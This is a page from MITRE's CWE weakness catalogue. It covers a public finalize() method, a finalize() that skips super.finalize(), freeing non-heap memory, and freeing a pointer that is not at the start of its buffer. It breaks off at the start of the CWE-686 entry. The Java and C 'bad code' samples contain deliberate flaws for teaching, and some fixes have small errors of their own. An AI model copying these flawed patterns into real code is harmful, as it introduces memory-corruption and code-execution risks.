2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Errant Files or Directories Accessible

CWE-583: finalize() Method Declared Public

Weakness ID: 583
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product violates secure coding principles for mobile code by declaring a finalize() method public.
+ Extended Description
A product should never call finalize explicitly, except to call super.finalize() inside an implementation of finalize(). In mobile code situations, the otherwise error prone practice of manual garbage collection can become a security threat if an attacker can maliciously invoke a finalize() method because it is declared with public access.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability

Technical Impact: Alter Execution Logic; Execute Unauthorized Code or Commands; Modify Application Data

+ Demonstrative Examples

Example 1

The following Java Applet code mistakenly declares a public finalize() method.

(bad code)
Example Language: Java 
public final class urlTool extends Applet {
public void finalize() {
...
}
...
}

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your product is running.

+ Potential Mitigations

Phase: Implementation

If you are using finalize() as it was designed, there is no reason to declare finalize() with anything other than protected access.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.850The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1002SFP Secondary Cluster: Unexpected Entry Points
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1140SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)MET12-JDo not use finalizers
Software Fault PatternsSFP28Unexpected access points
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Description, Relationships
2023-01-31CWE Content TeamMITRE
updated Demonstrative_Examples, Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Mobile Code: Public Finalize Method

CWE-568: finalize() Method Without super.finalize()

Weakness ID: 568
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product contains a finalize() method that does not call super.finalize().
+ Extended Description
The Java Language Specification states that it is a good practice for a finalize() method to call super.finalize().
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.573Improper Following of Specification by Caller
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.459Incomplete Cleanup
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation

+ Demonstrative Examples

Example 1

The following method omits the call to super.finalize().

(bad code)
Example Language: Java 
protected void finalize() {
discardNative();
}
+ Potential Mitigations

Phase: Implementation

Call the super.finalize() method.

Phase: Testing

Use static analysis tools to spot such issues in your code.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.850The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1002SFP Secondary Cluster: Unexpected Entry Points
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1140SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)MET12-JDo not use finalizers
Software Fault PatternsSFP28Unexpected access points
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Erroneous Finalize Method

CWE-590: Free of Memory not on the Heap

Weakness ID: 590
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product calls free() on a pointer to memory that was not allocated using associated heap allocation functions such as malloc(), calloc(), or realloc().
+ Extended Description
When free() is called on an invalid pointer, the program's memory management data structures may become corrupted. This corruption can cause the program to crash or, in some circumstances, an attacker may be able to cause free() to operate on controllable memory locations to modify critical program variables or execute code.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.762Mismatched Memory Management Routines
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.123Write-what-where Condition
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands; Modify Memory

There is the potential for arbitrary code execution with privileges of the vulnerable program via a "write, what where" primitive. If pointers to memory which hold user information are freed, a malicious user will be able to write 4 bytes anywhere in memory.
+ Demonstrative Examples

Example 1

In this example, an array of record_t structs, bar, is allocated automatically on the stack as a local variable and the programmer attempts to call free() on the array. The consequences will vary based on the implementation of free(), but it will not succeed in deallocating the memory.

(bad code)
Example Language:
void foo(){
record_t bar[MAX_SIZE];

/* do something interesting with bar */

...
free(bar);
}

This example shows the array allocated globally, as part of the data segment of memory and the programmer attempts to call free() on the array.

(bad code)
Example Language:
record_t bar[MAX_SIZE]; //Global var
void foo(){

/* do something interesting with bar */
...
free(bar);
}

Instead, if the programmer wanted to dynamically manage the memory, malloc() or calloc() should have been used.

(good code)
 
void foo(){
record_t *bar = (record_t*)malloc(MAX_SIZE*sizeof(record_t));

/* do something interesting with bar */

...
free(bar);
}

Additionally, you can pass global variables to free() when they are pointers to dynamically allocated memory.

(good code)
 
record_t *bar; //Global var
void foo(){
bar = (record_t*)malloc(MAX_SIZE*sizeof(record_t));

/* do something interesting with bar */

...
free(bar);
}
+ Potential Mitigations

Phase: Implementation

Only free pointers that you have called malloc on previously. This is the recommended solution. Keep track of which pointers point at the beginning of valid chunks and free them only once.

Phase: Implementation

Before freeing a pointer, the programmer should make sure that the pointer was previously allocated on the heap and that the memory belongs to the programmer. Freeing an unallocated pointer will cause undefined behavior in the program.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, glibc in Linux provides protection against free of invalid pointers.

Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.
+ Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness: High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Affected Resources
  • Memory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.742CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.969SFP Secondary Cluster: Faulty Memory Release
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1162SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1172SEI CERT C Coding Standard - Guidelines 51. Microsoft Windows (WIN)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1399Comprehensive Categorization: Memory Safety
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Other

In C++, if the new operator was used to allocate the memory, it may be allocated with the malloc(), calloc() or realloc() family of functions in the implementation. Someone aware of this behavior might choose to map this problem to CWE-590 or to its parent, CWE-762, depending on their perspective.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingMEM34-CExactOnly free memory allocated dynamically
CERT C Secure CodingWIN30-CImpreciseProperly pair allocation and deallocation functions
Software Fault PatternsSFP12Faulty Memory Release
+ References
[REF-480] "Valgrind". <http://valgrind.org/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Other_Notes
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, Maintenance_Notes, Name, Other_Notes, Potential_Mitigations, References, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-02-18CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Maintenance_Notes, Other_Notes
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Improperly Freeing Heap Memory
2009-05-27Free of Invalid Pointer Not on the Heap
2009-10-29Free of Memory not on the Heap

CWE-761: Free of Pointer not at Start of Buffer

Weakness ID: 761
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product calls free() on a pointer to a memory resource that was allocated on the heap, but the pointer is not at the start of the buffer.
+ Extended Description

This can cause the product to crash, or in some cases, modify critical program variables or execute code.

This weakness often occurs when the memory is allocated explicitly on the heap with one of the malloc() family functions and free() is called, but pointer arithmetic has caused the pointer to be in the interior or end of the buffer.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.763Release of Invalid Pointer or Reference
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.404Improper Resource Shutdown or Release
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Availability
Confidentiality

Technical Impact: Modify Memory; DoS: Crash, Exit, or Restart; Execute Unauthorized Code or Commands

+ Demonstrative Examples

Example 1

In this example, the programmer dynamically allocates a buffer to hold a string and then searches for a specific character. After completing the search, the programmer attempts to release the allocated memory and return SUCCESS or FAILURE to the caller. Note: for simplification, this example uses a hard-coded "Search Me!" string and a constant string length of 20.

(bad code)
Example Language:
#define SUCCESS (1)
#define FAILURE (0)

int contains_char(char c){
char *str;
str = (char*)malloc(20*sizeof(char));
strcpy(str, "Search Me!");
while( *str != NULL){
if( *str == c ){

/* matched char, free string and return success */
free(str);
return SUCCESS;
}
/* didn't match yet, increment pointer and try next char */

str = str + 1;
}
/* we did not match the char in the string, free mem and return failure */

free(str);
return FAILURE;
}

However, if the character is not at the beginning of the string, or if it is not in the string at all, then the pointer will not be at the start of the buffer when the programmer frees it.

Instead of freeing the pointer in the middle of the buffer, the programmer can use an indexing pointer to step through the memory or abstract the memory calculations by using array indexing.

(good code)
Example Language:
#define SUCCESS (1)
#define FAILURE (0)

int cointains_char(char c){
char *str;
int i = 0;
str = (char*)malloc(20*sizeof(char));
strcpy(str, "Search Me!");
while( i < strlen(str) ){
if( str[i] == c ){

/* matched char, free string and return success */
free(str);
return SUCCESS;
}
/* didn't match yet, increment pointer and try next char */

i = i + 1;
}
/* we did not match the char in the string, free mem and return failure */

free(str);
return FAILURE;
}

Example 2

This code attempts to tokenize a string and place it into an array using the strsep function, which inserts a \0 byte in place of whitespace or a tab character. After finishing the loop, each string in the AP array points to a location within the input string.

(bad code)
Example Language:
char **ap, *argv[10], *inputstring;
for (ap = argv; (*ap = strsep(&inputstring, " \t")) != NULL;)
if (**ap != '\0')
if (++ap >= &argv[10])
break;

/.../
free(ap[4]);

Since strsep is not allocating any new memory, freeing an element in the middle of the array is equivalent to free a pointer in the middle of inputstring.

Example 3

Consider the following code in the context of a parsing application to extract commands out of user data. The intent is to parse each command and add it to a queue of commands to be executed, discarding each malformed entry.

(bad code)
Example Language:

//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok;
char* sep = " \t";

get_user_input( input );

/* The following loop will parse and process each token in the input string */

tok = strtok( input, sep);
while( NULL != tok ){
if( isMalformed( tok ) ){

/* ignore and discard bad data */
free( tok );
}
else{
add_to_command_queue( tok );
}
tok = strtok( NULL, sep));
}

While the above code attempts to free memory associated with bad commands, since the memory was all allocated in one chunk, it must all be freed together.

One way to fix this problem would be to copy the commands into a new memory location before placing them in the queue. Then, after all commands have been processed, the memory can safely be freed.

(good code)
Example Language:

//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok, *command;
char* sep = " \t";

get_user_input( input );

/* The following loop will parse and process each token in the input string */

tok = strtok( input, sep);
while( NULL != tok ){
if( !isMalformed( command ) ){

/* copy and enqueue good data */
command = (char*) malloc( (strlen(tok) + 1) * sizeof(char) );
strcpy( command, tok );
add_to_command_queue( command );
}
tok = strtok( NULL, sep));
}

free( input )
+ Observed Examples
ReferenceDescription
function "internally calls 'calloc' and returns a pointer at an index... inside the allocated buffer. This led to freeing invalid memory."
+ Potential Mitigations

Phase: Implementation

When utilizing pointer arithmetic to traverse a buffer, use a separate variable to track progress through memory and preserve the originally allocated address for later freeing.

Phase: Implementation

When programming in C++, consider using smart pointers provided by the boost library to help correctly and consistently manage memory.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, glibc in Linux provides protection against free of invalid pointers.

Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.
+ Affected Resources
  • Memory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.969SFP Secondary Cluster: Faulty Memory Release
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1399Comprehensive Categorization: Memory Safety
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

Currently, CWE-763 is the parent, however it may be desirable to have an intermediate parent which is not function-specific, similar to how CWE-762 is an intermediate parent between CWE-763 and CWE-590.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP12Faulty Memory Release
+ References
[REF-657] "boost C++ Library Smart Pointers". <https://www.boost.org/doc/libs/1_38_0/libs/smart_ptr/smart_ptr.htm>. URL validated: 2023-04-07.
[REF-480] "Valgrind". <http://valgrind.org/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2009-05-08
(CWE 1.4, 2009-05-27)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2010-09-27CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-02-18CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-686: Function Call With Incorrect Argument Type

Weakness ID: 686
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
